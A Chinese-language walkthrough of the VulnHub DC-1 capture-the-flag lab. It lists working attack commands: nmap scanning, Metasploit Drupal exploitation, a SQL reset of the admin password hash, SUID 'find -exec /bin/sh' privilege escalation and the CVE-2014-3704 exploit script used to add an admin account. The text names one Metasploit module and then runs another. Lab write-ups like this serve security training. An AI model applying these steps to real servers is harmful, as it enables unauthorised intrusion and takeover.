【Vulnhub系列】DC1


下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

基本信息

Kali:192.168.56.116
DC1:192.168.56.115

实验过程

现在Kali中使用arp-scan进行主机探活

sudo arp-scan --interface=eth1 192.168.56.0/24

在这里插入图片描述
逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测

nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115

在这里插入图片描述
主机分开开了:22,80,111端口

我们先从80端口入手

在这里插入图片描述

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

msf6 > search Drupal

在这里插入图片描述
这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run

在这里插入图片描述
这样我们就可以成功得到一个会话。

我们用会话返回一个shell
在这里插入图片描述
发现flag1.txt
在这里插入图片描述
查看下flag1.txt内容

在这里插入图片描述
给我们一个提示
Every good CMS needs a config file - and so do you.

百度drupal配置文件的位置
在这里插入图片描述

sites/default/files

在这里插入图片描述
里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

    'database' => 'drupaldb',                             
      'username' => 'dbuser',                             
      'password' => 'R0ck3t',

在这里插入图片描述
那么我们用获得数据库的账号密码登录下数据看看

这里需要注意的是,我们需要用python转换成标准的shell
否则就会出现下面的场景,进入mysql之后shell就没有反应
在这里插入图片描述
我们输入

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

在这里插入图片描述
这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错
在这里插入图片描述

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

在这里插入图片描述
接下来我们把管理员的密码重置下

mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

在这里插入图片描述
然后进行登录
在这里插入图片描述
然后发现flag3
在这里插入图片描述
从flag3的内容可以看出,提示我们需要用find提权

同时我们也可以在家目录中找到flag4

在这里插入图片描述

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

我们使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
www-data@DC-1:/home/flag4$ find / -name flag4 -exec "whoami" \;

在这里插入图片描述
那么我们接下来用find提权

www-data@DC-1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;

在这里插入图片描述
这样我们就拿到最终的flag

额外内容

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号
地址:https://www.exploit-db.com/exploits/34992
我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

在这里插入图片描述
然后我们通过这个EXP创建管理账号

www-data@DC-1:/var/www$ python 34992.py -t http://192.168.56.115/ -u dfz -p ms08067

在这里插入图片描述
然后就可以正常登录
在这里插入图片描述

另一种查询具有root权限命令的find语句

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值